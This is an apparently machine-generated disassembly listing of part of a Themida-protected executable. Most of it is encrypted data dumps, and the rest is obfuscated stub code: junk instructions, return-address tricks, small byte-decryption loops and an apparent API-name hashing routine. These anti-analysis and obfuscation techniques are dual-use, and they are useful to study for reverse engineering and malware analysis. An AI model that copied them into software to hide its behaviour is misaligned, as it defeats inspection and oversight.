		jmp	loc_57F93B
; ---------------------------------------------------------------------------


loc_57F63D:				; CODE XREF: Themida_:0057F60Fj
		or	ecx, 505C6498h


loc_57F643:				; CODE XREF: Themida_:0057F626j
		mov	edi, ds
		jmp	loc_57F654
; ---------------------------------------------------------------------------
		dw 95Dh
		dd 0D8F0A148h, 432A13E7h
; ---------------------------------------------------------------------------


loc_57F654:				; CODE XREF: Themida_:0057F645j
		test	di, 4
		jnz	loc_57F93B
		push	0
		push	edi
		call	sub_57F66A
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57F66A	proc near		; CODE XREF: Themida_:0057F662p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_57F66A	endp

; ---------------------------------------------------------------------------
		dw 830Fh
		dd 1022E5BDh, 850F0006h, 97h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 75C35242h, 0FE8h, 2B47F200h
		dd 98F92E13h, 44CCDB8Eh, 0F9FA91E8h, 0EAE68166h, 840F5ACAh
		dd 19h,	14E9h, 0D2F85000h, 0BFFD9D19h, 8AEC0D4Fh, 0C500B961h
		dd 8426E09Eh, 259E9CDh,	6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 9DED40C3h, 25025569h
		dd 0F181665Ah, 10E92B3Bh, 7E000000h, 6E52CDB3h,	47DD9002h
		dd 6D5AEEDCh, 2B47B9EEh, 0D98166FFh, 9D8D9B7Ah,	6134467h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 4DC35545h
		dd 0ED9637C1h, 623DAB63h, 3860F17h, 80000000h, 0BE66D6D6h
		dd 6650B10Ah, 89245FB9h, 850F241Ch, 0Ah, 815F5260h, 5F032ED2h
		dd 0FF646163h, 35h, 5860F00h, 66000000h, 0A7EBC981h, 258964h
		dd 0B6000000h, 81C48BA9h, 9E2AC9EAh, 0EB01CD57h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 3BA2E123h, 2890F67h,	8A000000h, 5E8D1h, 0B4CB0000h
		dd 0E94FE862h, 9, 5F1C6E5h, 360A387Bh, 8F645A67h, 5, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 4814C7C7h, 0E3DEC142h, 4C48380h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 0A5C35646h,	2CD23DDBh, 0B1CDDAFh
		dd 4840FC0h, 0BE000001h, 3320850Ah, 57006A61h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0A2727453h
		dd 0A3BD8DAEh, 0E8061073h, 11h,	2063F439h, 5EF6ED3Bh, 6FBA1F74h
		dd 0F6E41423h, 0BE807h,	6CB00000h, 0B025206Dh, 32A710F5h
		dd 13E87Ch, 67420000h, 0A7D7664Ch, 0BB0C0353h, 0DB6DC96Eh
		dd 43C82265h, 5E5E5EC8h, 1B8h, 68B9B900h, 0C2813C4Dh, 784756B9h
		dd 6AE7FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 8B57A7C3h, 8B10245Ch, 0B883h, 40B60F00h
		dd 89C8FE01h, 0B083h, 0B8838300h, 2000000h, 0C3C0335Fh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 9FC35141h
		dd 0E5FC40E2h, 0E8AA81EEh, 13h,	0FDAD48E5h, 3DB6C30Fh
		dd 0BC8E33DFh, 0D13CDED0h, 0FD981EFh, 588h, 0D2816600h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		dec	esi
		pop	edx


loc_57F93B:				; CODE XREF: Themida_:loc_57F638j
					; Themida_:0057F659j
		popa
		jmp	loc_57F94E
; ---------------------------------------------------------------------------
		db 8, 6Fh, 1
		dd 0C65BA70Fh, 6612ED9Fh
		db 0Dh,	1Dh
; ---------------------------------------------------------------------------


loc_57F94E:				; CODE XREF: Themida_:0057F93Cj
		mov	eax, eax
		mov	si, ax
		cmp	dword ptr [ebp+610158Dh], 0
		jnz	short loc_57F965
		cmp	dword ptr [ebp+6100095h], 0
		jz	short loc_57F97E


loc_57F965:				; CODE XREF: Themida_:0057F95Aj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 40Eh
		mov	[ebp+610132Dh],	eax
		lea	ebx, [ebp+612B87Ch]
		call	ebx
		pop	ebx
		pop	eax


loc_57F97E:				; CODE XREF: Themida_:0057F963j
		cmp	dword ptr [ebp+6100095h], 0
		jz	short loc_57F99E
		push	eax
		push	ebx
		mov	eax, 40Eh
		mov	[ebp+610132Dh],	eax
		lea	ebx, [ebp+612B51Dh]
		call	ebx
		pop	ebx
		pop	eax


loc_57F99E:				; CODE XREF: Themida_:0057F985j
		push	0
		push	ebx
		call	sub_57F9A9
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57F9A9	proc near		; CODE XREF: Themida_:0057F9A1p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_57F9A9	endp

; ---------------------------------------------------------------------------
		db 0Bh,	2Bh, 77h
; ---------------------------------------------------------------------------
		mov	ecx, 63F469BEh
		or	[edx+0], ch
		push	edx
		call	sub_57F9CD
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57F9CD	proc near		; CODE XREF: Themida_:0057F9C5p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_57F9CD	endp

; ---------------------------------------------------------------------------
		db 57h,	64h, 59h
		dd 0DD38F480h, 0E9DE6FBFh, 0Bh,	2B69DB71h, 97CCDC2Dh, 0F523B354h
		dd 56BFBE66h, 13E9C08Bh, 0A0000000h, 0F00D8BCEh, 0EBA2B1B4h
		dd 0D8485A5Bh, 62BFBACFh, 0C28B0211h, 0F31718EBh, 9B46h
		dd 4 dup(0)
		dd 0BE90000h
		db 2, 2	dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_57FA37	proc near		; CODE XREF: Themida_:0057FA4Cj
					; DATA XREF: Themida_:0054E734o

arg_0		= dword	ptr  4

		pusha
		mov	ebx, [esp+20h+arg_0]
		call	$+5
		pop	ebp
		sub	ebp, 61345D6h
		popa
		retn	4
sub_57FA37	endp

; ---------------------------------------------------------------------------
		jmp	sub_57FA37
; ---------------------------------------------------------------------------


loc_57FA51:				; CODE XREF: Themida_:0057FA56j
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_57FA51
; ---------------------------------------------------------------------------


loc_57FA5B:				; CODE XREF: Themida_:0057FA60j
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_57FA5B
; ---------------------------------------------------------------------------


loc_57FA65:				; CODE XREF: Themida_:0057FA6Aj
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_57FA65
; ---------------------------------------------------------------------------


loc_57FA6F:				; CODE XREF: Themida_:0057FA74j
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_57FA6F
; ---------------------------------------------------------------------------
		align 4
		dd 0
		dd 0C3616000h, 0FFFFF8E9h, 0EB58BFFh, 81061346h, 0FFF000E6h
		dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 12B53B00h, 0F061346h
		dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h
		dd 0FC00A03h, 1984h, 0BB535000h, 2, 701858Bh, 18860610h
		dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh
		dd 2474FF50h, 0C995FF08h, 50061032h, 244C010Fh,	0C08358FEh
		dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch
		dd 840FC00Ah, 9, 701858Bh, 0C60610h, 4FF5800h, 4C224h
		dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h
		dd 2BB00h, 858B0000h, 6100701h,	0DB0A1886h, 0FFF6850Fh
		dd 85C7FFFFh, 6100E6Dh,	0
; ---------------------------------------------------------------------------
		mov	eax, [esp+8]
		mov	ebx, [eax+1000h]
		mov	[eax+1000h], ebx
		mov	ebx, [eax]
		mov	[eax], ebx
		jmp	loc_57FB83
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp+6100E6Dh], 100h


loc_57FB83:				; CODE XREF: Themida_:0057FB74j
		pop	eax
		pop	ebx
		inc	dword ptr [esp]
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 0A3h, 0FFh
		dd 8060FFFFh, 840F003Eh, 31h, 3AB7A1BBh, 0B101B076h, 13E901h
		dd 8AAC0000h, 32C302C8h, 0AACBD1C3h, 840FD20Bh,	1, 0FC90A4Ah
		dd 0FFFFE585h, 0FD20BFFh, 0FFFFDD85h, 52C361FFh, 8B57D48Bh
		dd 0C033087Ah, 1E9h, 3F80AA00h,	0F6850F00h, 5FFFFFFFh
		dd 4C25Ah, 33565153h, 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h
		dd 8A37465Ah, 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h,	595EC38Bh
		dd 0BB60C35Bh, 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h
		dd 0BAACBD1h, 1840FD2h,	4A000000h, 850FC00Ah, 0FFFFFFE7h
		dd 850FD20Bh, 0FFFFFFDFh, 8C66C361h, 0F04A8D8h,	2984h
		dd 0B385C700h, 1061345h, 50000000h, 244C010Fh, 0B7858FFEh
		dd 8D061345h, 1345AF85h, 0B7BD8D06h, 89061345h,	23E938h
		dd 858D0000h, 6100CB5h,	538408Bh, 9B46F317h, 45AF8589h
		dd 858D0613h, 6100CB5h,	893C408Bh, 1345B385h, 0CC858D06h
		dd 89061345h, 1032C985h, 87E906h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_57FCAA:				; DATA XREF: Themida_:0054BDE4o
		push	edx
		mov	edx, esp
		pusha
		mov	esi, [edx+8]
		mov	edi, [edx+0Ch]
		mov	eax, 0A945CAB2h
		jmp	loc_57FCC5
; ---------------------------------------------------------------------------


loc_57FCBE:				; CODE XREF: Themida_:0057FCC7j
		add	[esi], al
		xor	[esi], al
		ror	eax, 1
		inc	esi


loc_57FCC5:				; CODE XREF: Themida_:0057FCB9j
		cmp	esi, edi
		jb	loc_57FCBE
		popa
		pop	edx
		retn	8
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		pusha
		mov	esi, [edx+8]
		mov	edi, [edx+0Ch]
		mov	eax, 0A945CAB2h
		jmp	loc_57FCED
; ---------------------------------------------------------------------------


loc_57FCE6:				; CODE XREF: Themida_:0057FCEFj
		xor	[esi], al
		sub	[esi], al
		ror	eax, 1
		inc	esi


loc_57FCED:				; CODE XREF: Themida_:0057FCE1j
		cmp	esi, edi
		jb	loc_57FCE6
		popa
		pop	edx
		retn	8
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		push	esi
		push	ecx
		push	ebx
		xor	ebx, ebx
		mov	esi, [edx+8]
		mov	ecx, [edx+0Ch]
		jmp	loc_57FD20
; ---------------------------------------------------------------------------


loc_57FD0D:				; CODE XREF: Themida_:0057FD22j
		lodsb
		cmp	al, 2Dh
		jz	loc_57FD20
		add	al, 98h
		xor	al, 13h
		xor	bl, al
		rol	ebx, 8
		dec	ecx


loc_57FD20:				; CODE XREF: Themida_:0057FD08j
					; Themida_:0057FD10j
		or	ecx, ecx
		jnz	loc_57FD0D
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	esi
		pop	edx
		retn	8
; ---------------------------------------------------------------------------
		lea	eax, [ebp+613483Fh]
		mov	[ebp+6100979h],	eax
		lea	eax, [ebp+6134867h]
		mov	[ebp+6101E99h],	eax
		lea	eax, [ebp+613488Fh]
		mov	[ebp+6100CADh],	eax
		jmp	short loc_57FD5F
; ---------------------------------------------------------------------------
		align 4
		dd 0
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_57FD5F:				; CODE XREF: Themida_:0057FD55j
		jmp	loc_57FDDF
; ---------------------------------------------------------------------------
		dd 10F5260h, 5AFE244Ch,	8B24C283h, 10220985h, 7858D06h
		dd 8B061379h, 888B08h, 8B000010h, 4A8B660Ah, 0F08D89FCh
		dd 83061348h, 1022E5BDh, 840F0006h, 0Fh, 0FF006A60h, 1031C995h
		dd 0C4E96106h, 66FFFFFFh, 0C1FC7289h, 896610CEh, 0CD520272h
		dd 85895A04h, 61348ECh,	48F0B58Bh, 0CEC10613h, 72896610h
		dd 0F0B58B02h, 66061348h, 61FC7289h, 48EC858Bh
; ---------------------------------------------------------------------------
		adc	eax, [esi]
		retn
; ---------------------------------------------------------------------------


loc_57FDDF:				; CODE XREF: Themida_:loc_57FD5Fj
		lea	edx, [ebp+6101721h]
		mov	[ebp+6100701h],	edx
		mov	[ebp+61010C5h],	edx
		inc	dword ptr [ebp+61010C5h]
		mov	byte ptr [ebp+61023E5h], 53h
		push	0FCB148D8h
		push	dword ptr [ebp+6101499h]
		lea	eax, [ebp+6103A32h]
		call	eax
		mov	[ebp+61031C9h],	eax
		lea	eax, [ebp+61345E6h]
		mov	[ebp+61006B9h],	eax
		jmp	short $+2
		jmp	loc_5803CE
; ---------------------------------------------------------------------------
		jmp	loc_5803C7
; ---------------------------------------------------------------------------
		push	6134AA7h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6134BBBh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6134C2Dh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6134CF0h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6134DFCh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		db 3Ch,	8Ah, 47h
		dd 255C0493h, 427B32A9h, 1F5C0F86h, 39782CABh, 97B8785h
		dd 25B42867h, 10874384h, 2CAB1F5Ah, 9F8A3E73h, 3554EE9Dh
		dd 33B06BDFh, 5F04D769h, 27F93419h, 668AA1DAh, 0EAA1B6BAh
		dd 6DCC695Ch, 0CC6901C1h, 6957EE6Dh, 608D6DCCh,	0F711B44Eh
		dd 0AF5C7195h, 6DCC7B17h, 0CC7B4FF8h, 7B16B06Dh, 0C251EDCCh
		dd 7F444719h, 97E7FC28h, 0AE9FC19Bh, 226D6CE6h,	0E95950F1h
		dd 0D142355h, 9B183511h, 205F11E7h, 5D118844h, 72816E22h
		dd 1B949769h, 0B31E133Bh, 1855FAC1h, 0A121086Ch, 451E136Fh
		dd 0EA600DE9h, 0A4C03AD3h, 40FE7F0h, 0DB8B0000h, 0EF952498h
		dd 0D07504B8h, 0EF942397h, 0CD7FF6B2h, 0D02C1A8Eh, 0FBAFEEA2h
		dd 0D488C97Ch, 0F266A145h, 0D387BC63h, 9D25E4D8h, 796BDF36h
		dd 7932B07Ch, 0BC095044h, 666DCC7Ch, 63A44514h,	397018AFh
		dd 0F00DE94Dh, 0D912B44Bh, 973A778Bh, 0A1C6AA56h, 587503EBh
		dd 3BEF24DBh, 22CE03BCh, 0DBC7FCA3h, 0DF46DD7Eh, 8437F328h
		dd 336AF829h, 37B09h, 62493700h, 6DCC4EE0h, 79532804h
		dd 0B49296D7h, 3CAB20C9h, 68DB6722h, 0DF3B6DCCh, 659A510Ah
		dd 685DEAB1h, 390A6DCCh, 0AFE49B9Ah, 7D2C10FBh,	6DCC68C5h
		dd 0B02B4521h, 52CEC2F7h, 5C128975h, 752EAD21h,	5D5F5440h
		dd 984FC682h, 7518AF63h, 68F74B3Eh, 9F486DCCh, 0C2BAB66Ah
		dd 0ECCE8A66h, 68AB1712h, 344B6DCCh, 5B70548Dh,	0CC6816B0h
		dd 809FCC6Dh, 1E9DD7D7h, 8425AECBh, 53624F43h, 532B9792h
		dd 0B4CB6DCCh, 4125D110h, 7C2F4125h, 67FC2553h,	3E0AAFABh
		dd 0F04A15E1h
		db 24h,	0B3h, 0FBh
byte_580023	db 2			; DATA XREF: Themida_:0054C800o
		dd 0D7770000h, 0EBA11894h, 0CC81F8B4h, 0EBA01793h, 0C97BFAAEh
		dd 0ACD8CE8Ah, 8F4B8A3Eh, 0A8246508h
		db 31h,	7Dh
word_580046	dw 8642h		; DATA XREF: ___:off_43285Co
					; ___:00432864o ...
		dd 0A723580Fh, 71D1B8C4h, 956BDF37h, 79328C18h,	92395044h
		dd 7F32A95Dh, 23DB8A3Eh, 0C46DCC7Ch, 6DCC0C7Ah,	2DD91ACBh
		dd 338CC07Eh, 0C8787F92h, 0EE00E425h, 77E4CFDh,	637811E8h
		dd 46318E7Dh, 51CD9803h, 0AFE6AECh, 4750444Ah, 289h, 0A6226505h
		dd 8642792Fh, 0AD215A0Fh, 803C792Eh, 0A41857F9h, 84285AA6h
		dd 5F128945h, 772BAA1Eh, 52F9803Ch, 0D2AEA11Dh,	0DF306BD7h
		dd 860E8B6Bh, 50447932h, 0A95D9239h, 0F130CFF4h, 9649053Ah
		dd 336B363Bh, 21F1Bh, 44027100h, 0D96DCC7Ch, 213DF135h
		dd 991CC71Eh, 0F336A22h, 2B661C9Bh, 98C80577h, 64FFBBC5h
		dd 17CB8865h, 0A0548B41h, 0BCEA0C4h, 0F8721E55h, 0CCABB111h
		dd 0FDD9556Dh, 4F3C0CD0h, 0ACC1A9A3h, 67FE9DFAh, 11CD08BEh
		dd 6A50834Eh, 596333h, 0DE5D0000h, 1F03EF26h, 0BD5C824Ah
		dd 0DA8D4C1Eh, 35114C02h, 0F008E541h, 0FC7DF439h, 31969267h
		dd 4A0A3F3Bh, 0C6B821F5h, 42000001h, 0A914D90h,	28AF2B62h
		dd 5944881h, 32A92562h,	9D8B3F7Eh, 1251F361h, 2D6E1F96h
		dd 49842AB1h, 285D0695h, 0C4C7B9B4h, 6BDF307Eh,	32931996h
		dd 0E2854479h, 0C3C6BAA5h, 6DCC7C67h, 0B8CFC39Fh, 0D463D712h
		dd 0E7E4F62Bh, 22B0E9ABh, 7D293EE8h, 0F5697688h, 0C985C066h
		dd 0B0649952h, 83377819h, 8425B488h, 57522643h,	6DCC17EBh
		dd 9630F0Bh, 86639A52h,	9B4418CDh, 9AB6BA66h, 0CC7D3C1Eh
		dd 0BE9B978Bh, 55419E1Fh, 0E2568F36h, 0CC179B23h, 9C3FD66Dh
		dd 7A9AC7C2h, 0EA3C67FCh, 8F83B86Fh, 295EE493h,	0BAB6943Ch
		dd 1F9AC496h, 9E153269h, 7CFBAFE6h, 663CF2C4h, 989C88BDh
		dd 0F3C698BCh, 9CD17A4Eh, 9368CCB8h, 134EF493h,	93CA8239h
		dd 0B86683DFh, 1251F3C6h, 85C6675Eh, 1ECF8C61h,	0FBB229DDh
		dd 0D2E1CEC2h, 0D734F709h, 8D9E0C47h, 29DD18CEh, 82ED204Dh
		dd 44CD1C72h, 52F77327h, 400597D4h, 0BAD9CADAh,	36000000h
		dd 5EDD5194h, 3CBB6FA6h, 9904C85h, 26B52966h, 0A1874382h
		dd 1655F765h, 317213A2h, 0D48FE7Dh, 0EC21CA51h,	88837D70h
		dd 6BDF313Ah, 0D737FDDAh, 9BBDC496h, 0BB90D7D8h, 5E124700h
		dd 978BC067h, 29DB5EC2h, 540303E1h, 886CA6F8h, 0C3C6989Ch
		dd 6DCCBD7Fh, 0DDBE9B97h, 0F328DF46h, 907B6537h, 6DCCBD32h
		dd 0CE05BBD2h, 0CF22D5F2h, 0AF336A74h, 24h, 7C45021Dh
		dd 617F6DCCh, 0B532AA6Ch, 1A01175Fh, 6DCC4CA8h,	5493354Ch
		dd 27E05B70h, 0BCD36F2h, 3F000000h, 0CC7C4402h
dword_580304	dd 0FD32D96Dh, 2321AB41h, 0C96A1657h, 211447F1h, 79D4Ch
					; DATA XREF: Themida_:0054CB60o
		dd 552B0000h, 0C5A2E386h, 3D8032FFh, 64995249h,	3A7519B0h
		dd 5D9E4F46h, 3F7E32A9h, 51903453h, 448126A5h, 5B943950h
		dd 417830A7h, 5457CF55h, 4C7815Fh, 83000000h, 3C8704EFh
		dd 89535C24h, 4C381E3h,	83000000h, 1C8704EBh, 34895C24h
		dd 6C306824h, 0C890000h, 0D37BE24h, 0EE83153Eh,	40EE8101h
		dd 680F2AC3h, 2A86h, 81242489h,	42404h,	50590000h, 4189F089h
		dd 24048B08h, 8B04C483h, 8950240Ch, 405E0h, 4050000h, 87000000h
		dd 0FF5C2404h, 835E2434h, 1DE904C4h, 0E2FFFD31h, 0FD5D818Bh
		dd 8C2367FFh
		db 65h,	8Dh, 4Bh
; ---------------------------------------------------------------------------


loc_5803C7:				; CODE XREF: Themida_:0057FE2Aj
		mov	eax, 6134EDBh
		add	eax, ebp


loc_5803CE:				; CODE XREF: Themida_:0057FE25j
		mov	edx, ecx
		jmp	loc_580426
; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+24h]
		add	esi, [esi+3Ch]
		mov	edi, [esp+28h]
		mov	edx, esi
		add	edx, 0F8h
		mov	cx, [esi+6]
		movzx	ecx, cx


loc_5803F0:				; CODE XREF: Themida_:0058041Bj
		cmp	ecx, 0
		jz	loc_58040F
		cmp	edi, [edx+0Ch]
		jg	loc_580417
		sub	edx, 28h
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+14h]
		sub	eax, ecx
		sub	edi, eax


loc_58040F:				; CODE XREF: Themida_:005803F3j
					; Themida_:00580421j
		mov	[esp+1Ch], edi
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_580417:				; CODE XREF: Themida_:005803FCj
		add	edx, 28h
		dec	ecx
		jnz	loc_5803F0
		jmp	loc_58040F
; ---------------------------------------------------------------------------


loc_580426:				; CODE XREF: Themida_:005803D0j
		mov	edx, 9FD3Eh
		jmp	short loc_58044D
; ---------------------------------------------------------------------------
		align 10h
		dd 7 dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_58044D:				; CODE XREF: Themida_:0058042Bj
		jmp	loc_5809F1
; ---------------------------------------------------------------------------
		jmp	loc_5809EA
; ---------------------------------------------------------------------------
		push	61351ADh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6135257h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	61353FEh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	613546Eh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		db 1Eh
		dd 26B5296Ch, 493477Eh,	31A8245Dh, 0E8D417Eh, 0A99F1B5Ah
		dd 3E7D2F5Dh, 195A0B8Ah, 357016A5h, 14490279h, 0E0CBB598h
		dd 6BDF2C62h, 329F2582h, 0C605A77Bh, 607A56DAh,	7C378B7Eh
		dd 53CF6DCCh, 0D6F32ED4h, 7CC58128h, 8B28EDCCh,	3120F1F4h
		dd 4100B36Bh, 0FE000000h, 2E4B883Bh, 7C450296h,	0F5046DCCh
		dd 6FEA14E6h, 940E8B8h,	203D191Dh, 0FBCCF963h, 1A11EF67h
		dd 9420CCA8h, 17C9C74Ch, 0DAD88A8Eh, 4521E1F6h,	2E2089h
		dd 2B200000h, 0F4AF72B0h, 0CD5774ABh, 0CC7C4402h, 4CF4036Dh
		dd 0D2AC5899h, 0CC7C6BD7h, 0B38F8B6Dh, 48FEBD8Fh, 2108F00Dh
		dd 67FBCC87h, 187431Fh,	4E427B32h, 0CC7CBC07h, 0B7C9B3EDh
		dd 0CC7C4EF4h, 0ADCAA6EDh, 1A53770Eh, 6D375328h, 701CF255h
		dd 0B3BF1744h, 65114C02h, 4B08E501h, 0B8835D96h, 5A953915h
		dd 0D1A68A76h, 0B827B80Dh, 3C5A5A6h, 950578Eh, 0A11D0CF4h
		dd 3DEDCC87h, 0ED9635E1h, 56A5A6B8h, 28B501FEh,	54EE9DAFh
		dd 0B0EDCC0Fh, 3D1F97B4h, 9F43BC10h, 0D6F3DB75h, 1CD07087h
		dd 294D29DDh, 10F35457h, 740BE7FCh, 85E195CCh, 58E6B561h
		dd 0BB142390h, 418C6908h, 21B97B3Eh, 7Eh, 1EBD5C6Bh, 2A7324Ch
		dd 7C60E2C9h, 0CBD6DCCh, 0A35BD7CBh, 215810C7h,	4DCF175h
		dd 0FBC5B005h, 0F8D24E67h, 0A5518E41h, 5D4ACC1h, 26B5295Eh
		dd 2C5F3F7Dh, 949B39F4h, 0B195B1F0h, 9C81E0Ch, 9304104Ah
		dd 314h, 26A2E585h, 6C2F9AFh, 2DA1DA8Fh, 0BCF9AEh, 2498D779h
		dd 4A8DA26h, 0DF9209C5h, 0F7AB2A9Eh, 0D27900BCh, 522E219Dh
		dd 0DF2DEB57h, 68E0B6Bh, 2DF40h, 7B328C00h, 0BF074E42h
		dd 356DCC7Ch, 7358E038h, 0CCA1CDBBh, 0CC5BE7DFh, 5AB9086Dh
		dd 0E4626DCCh, 0DE6DCC5Ah, 906DA65Bh, 0CC5A2B93h, 5A72CC6Dh
		dd 0E6EDADCCh, 0F230DBF5h, 9227FB51h, 53F5C496h, 0E7046014h
		dd 0B084537h, 0C7AF507Dh, 226E3EA4h, 5D230B35h,	5D6DD80h
		dd 7EB740EBh, 532D5E11h, 112AEA58h, 390E0A5Eh, 9880ED49h
		dd 0B6803890h, 26AF5DEh, 2BDB0000h, 3FE574E8h, 20C55408h
		dd 3FE473E7h, 1DCF4602h, 7C6ADEh, 6BDF1ED2h, 44F839ECh
		dd 62D611B5h, 43F72CD3h, 0DB57448h, 0E96BDF2Eh,	4D7400Ch
		dd 0F470245Dh, 7C932FDAh, 0F7736DCCh, 7DB259E2h, 7C24B789h
		dd 3ED52845h, 0B8C8C39Dh, 5867FBCBh, 34D960DCh,	11B83FFBh
		dd 40D72CD8h, 0A2CAC19Bh, 629E177Bh, 2B935206h,	269E151Ch
		dd 39324C8Fh, 7C5CAEFBh, 63A445F4h, 93966A7Fh, 942294F1h
		dd 215C1289h, 0AAC607AAh, 2D6209D0h, 4C812AB1h,	73A51158h
		dd 35C4800Ah, 47D5D4A6h, 5F8A3DC3h, 0E0D37FFAh,	4A26B53Ah
		dd 0A81D4E30h, 0E0EB340h, 0F02BDF56h, 7CA760DBh, 7E33358Dh
		dd 7155D18Ah, 50853EBDh, 3359F5A4h, 1188A7Eh, 0EDDE00DAh
		dd 0CE4D6F12h, 0CEB592E9h, 8049E8AEh, 3900DA56h, 0DE09C292h
		dd 52AF972Bh, 0CFF36F8Ch, 7C037F3h, 23E6F8D2h, 8C52AF9Fh
		dd 2AE1FB77h, 8C52AF98h, 0DBCBA07Ch, 0FC31DA61h, 0AF9B27E2h
		dd 9F7B8C52h, 369C3BCAh, 0FFEA0D71h, 738D69C8h,	65DE2CB8h
		dd 9668C486h, 3AE61DC3h, 36652136h, 0B646BE88h,	0C4B0E79Dh
		dd 964E1EC5h, 93AFB35Fh, 0A73EF5DFh, 0BEDA6823h, 0DE3AB646h
		dd 0C3621102h, 0E073CB26h, 11AB57h, 0D7210000h,	45225F04h
		dd 0CC19E05Eh, 14436Dh,	2B90000h, 6DCC1644h, 0CA09BB7Eh
		dd 9A49F9B0h, 0B1AD9233h, 0BD5C109Ch, 275D4C1Eh, 0BF67FBCBh
		dd 0B342AF63h, 4F01DB8Dh, 0E4006410h, 323BEE00h, 0CC9E10B7h
		dd 6113EB50h, 899D4039h, 0C320h, 4F923400h, 6DA45CDBh
		dd 8AC36AF1h, 67A447CEh, 81C064F3h, 31A3DFCDh, 0D8C407Fh
		dd 189F1B5Ch, 0F4833772h, 0A7A2164Bh, 2F6CD6D5h, 2B886BDFh
		dd 1EBD5CA1h, 3A7324Ch,	8358DCC8h, 0FBCBF888h, 0C29C9867h
		dd 0CC55ED9Ch, 0B5B19420h, 0FA19E698h, 0BE460BD8h, 5DD9CD08h
		dd 0CE8A9270h, 0F431D8F2h, 929E10C1h, 7B533196h, 0C9DD4039h
		dd 53E0h, 0DF22C400h, 0FD34EC6Bh, 0DA13BA41h, 0F734D75Eh
		dd 0D110B443h, 0E1136F5Dh, 0BD3CF02Fh, 880FCB0Ch, 0A433A7E2h
		dd 1712C6FBh, 28DC6625h, 0BB386BDFh, 5C04D7F1h,	0D8F57125h
		dd 1769h, 96D7E300h, 144CC013h,	0C0F7ADB7h, 63DFCAA4h
		dd 836DCC85h, 8436D2A7h, 493D8032h, 0B0649952h,	463A7519h
		dd 0A95D9E4Fh, 533F7E32h, 0A5519034h, 50448126h, 0A75B9439h
		dd 55417830h, 5D5455CFh, 4C581h, 0ED830000h, 242C8704h
		dd 0E089505Ch, 405h, 4E88300h, 5C240487h
; ---------------------------------------------------------------------------
		mov	[esp], ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	3E3Bh
		mov	[esp], ebx
		push	669F7990h
		pop	ebx
		neg	ebx
		xor	ebx, 3B8637E2h
		xor	ebx, 0A4F5E186h
		mov	ebp, ebx
		pop	ebx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		push	edx
		mov	edx, ebp
		mov	esi, edx
		pop	edx
		mov	[ecx+8], esi
		pop	esi
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		db 0E3h, 0Bh
